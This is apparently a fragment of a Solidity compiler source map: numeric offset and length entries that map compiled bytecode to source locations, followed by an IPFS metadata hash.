90:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;5584:251::-;5654:6;5707:2;5695:9;5686:7;5682:23;5678:32;5675:52;;;5723:1;5720;5713:12;5675:52;5755:9;5749:16;5774:31;5799:5;5774:31;:::i;6753:456::-;6841:6;6849;6857;6910:2;6898:9;6889:7;6885:23;6881:32;6878:52;;;6926:1;6923;6916:12;6878:52;-1:-1:-1;;6971:16:1;;7077:2;7062:18;;7056:25;7173:2;7158:18;;;7152:25;6971:16;;7056:25;;-1:-1:-1;7152:25:1;6753:456;-1:-1:-1;6753:456:1:o;7493:277::-;7560:6;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7661:9;7655:16;7714:5;7707:13;7700:21;7693:5;7690:32;7680:60;;7736:1;7733;7726:12;9803:128;9870:9;;;9891:11;;;9888:37;;;9905:18;;:::i;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i;11124:135::-;11163:3;11184:17;;;11181:43;;11204:18;;:::i;:::-;-1:-1:-1;11251:1:1;11240:13;;11124:135::o;11264:217::-;11304:1;11330;11320:132;;11374:10;11369:3;11365:20;11362:1;11355:31;11409:4;11406:1;11399:15;11437:4;11434:1;11427:15;11320:132;-1:-1:-1;11466:9:1;;11264:217::o;11888:127::-;11949:10;11944:3;11940:20;11937:1;11930:31;11980:4;11977:1;11970:15;12004:4;12001:1;11994:15;12152:959;12414:4;12462:3;12451:9;12447:19;12493:6;12482:9;12475:25;12536:6;12531:2;12520:9;12516:18;12509:34;12579:3;12574:2;12563:9;12559:18;12552:31;12603:6;12638;12632:13;12669:6;12661;12654:22;12707:3;12696:9;12692:19;12685:26;;12746:2;12738:6;12734:15;12720:29;;12767:1;12777:195;12791:6;12788:1;12785:13;12777:195;;;12856:13;;-1:-1:-1;;;;;12852:39:1;12840:52;;12921:2;12947:15;;;;12912:12;;;;12888:1;12806:9;12777:195;;;-1:-1:-1;;;;;;;13028:32:1;;;;13023:2;13008:18;;13001:60;-1:-1:-1;;13092:3:1;13077:19;13070:35;12989:3;12152:959;-1:-1:-1;;;12152:959:1:o

ipfs://4c2d6a0eecafd8538d132aa314e18700ed7bc553d1554173d734f9e2af7fc567